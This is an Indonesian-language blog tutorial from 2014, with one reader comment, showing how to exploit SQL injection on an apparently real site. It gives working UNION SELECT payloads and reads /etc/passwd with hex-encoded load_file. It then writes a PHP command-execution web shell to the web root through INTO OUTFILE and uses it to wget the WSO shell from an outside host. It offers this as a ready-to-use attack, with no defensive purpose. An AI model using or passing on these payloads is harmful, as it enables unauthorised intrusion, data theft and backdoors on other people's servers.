Thursday 10 April 2014

Sql injection shell upload without admin access

Kali ini saya akan share tutorial atau cara untuk upload shell dengan bug sql injection.
tanpa harus akses admin page terlebih dahulu :)

Ingredients :

☁ Sql injection skill
☁ Target vuln sqli

Step- step :

♤ Pertama kita cek apakah target kita vulnerable sqli atau tidak
dengan cara menambahkan string ' pada akhir url..

Misal : webcouncil.us/archive.php?id=1'
jika target vulnerable maka akan keluar seperti ini :

Quote:You have an error in your sql syntax check the manual that corresponds to your mysql server version

Atau seperti webcouncil.us/archive.php?id=1'

Quote:Warning: mysql_num_rows() expects parameter 3 to be resource, boolean given in /home/webcouncil/public_html/archive.php on line 12

♤ Kemudian cek kolom dengan cara order by

♤ Setelah ketemu ada berapa kolom kita cari angka ajaib.
misal kolomnya ada 4

Jadi 
webcouncil.us/archive.php?id=-1 uniOn SelEcT 1,2,3,4--+

Nanti akan keluar angka ajaib seperti ini :

[Image: upBVQVB.png]

Tinggal pilih 2 / 5 yang akan kita gunakan untuk tahap selanjutnya :)
xD

♤ Kita coba lihat /etc/passwd dengan cara menambahkan
load_file(/etc/passwd) pada di angka 2 / 5

webcouncil.us/archive.php?id=-1 uniOn SelEcT 1,load_file(/etc/passwd),3,4--+
loh kok hasilnya gak keluar /etc/passwd malah error

Tenang ^_^ bisa di bypass kok..
convert /etc/passwd ke hexadecimal di sini

Hasilnya 2f6574632f706173737764 maka kita tambahkan 0x di depanya
0x2f6574632f706173737764

webcouncil.us/archive.php?id=-1 uniOn SelEcT 1,load_file(0x2f6574632f706173737764),3,4--+

Akhirnya muncul seperti ini :

[Image: 5Rt2GbY.png]

Kok cuman user root doang yang muncul..
tenang :) coba ctrl + u / view- source

[Image: e9i5iQI.png]

♤ Lanjut ke tahap upload shell
pertama kita tanam cmd.php yang berfungsi untuk mengeksekusi command

webcouncil.us/archive.php?id=-1 uniOn SelEcT 1,'<?php system($_GET[cmd]);?>',3,4 into outfile "/home/webcouncil/public_html/cmd.php"--+

<?php system($_GET[cmd]);?> : Ini script untuk mengeksekusi command dari server

into outfile "/home/webcouncil/public_html/cmd.php" : ini perintah untuk menanam script tadi dengan nama file cmd.php di direktori public_html

loh kok bisa tau kalau pathnya /home/webcouncil/public_html/
ingat error di web tadi?

" Warning: mysql_num_rows() expects parameter 3 to be resource, boolean given in /home/webcouncil/public_html/archive.php on line 12 "

Nah dari situ saya tau pathnya ^_^
trus load url tadi dan hasilnya malah error :

Quote:Cannot execute a blank command in /home/webcouncil/cmd.php on line 1

Tenang saja :) cuma error tapi masih bisa kok 
kita coba cek webcouncil.us/cmd.php

Tara ^_^ hasilnya nanti memang blank tapi bukan 404 not found lo yaa
lalu kita coba eksekusi command untuk upload shell :)

webcouncil.us/cmd.php?cmd=[command]

Kita pakai wget untuk upload shell..
tapi shell harus berformat txt :)

webcouncil.us/cmd.php?cmd=wget http://files.xakep.biz/shells/PHP/wso.txt

trus rename c99.txt menjadi c99.php
webcouncil.us/cmd.php?cmd=mv wso.txt wso.php

[Image: 1S0s54U.png]

 Sumber : disini gan

1 comments:

Mas Kok Saya Pas Manggil Shell Kok Cmn Muncul Angka"nya,Trus Pas pasang cmd command ga blank :(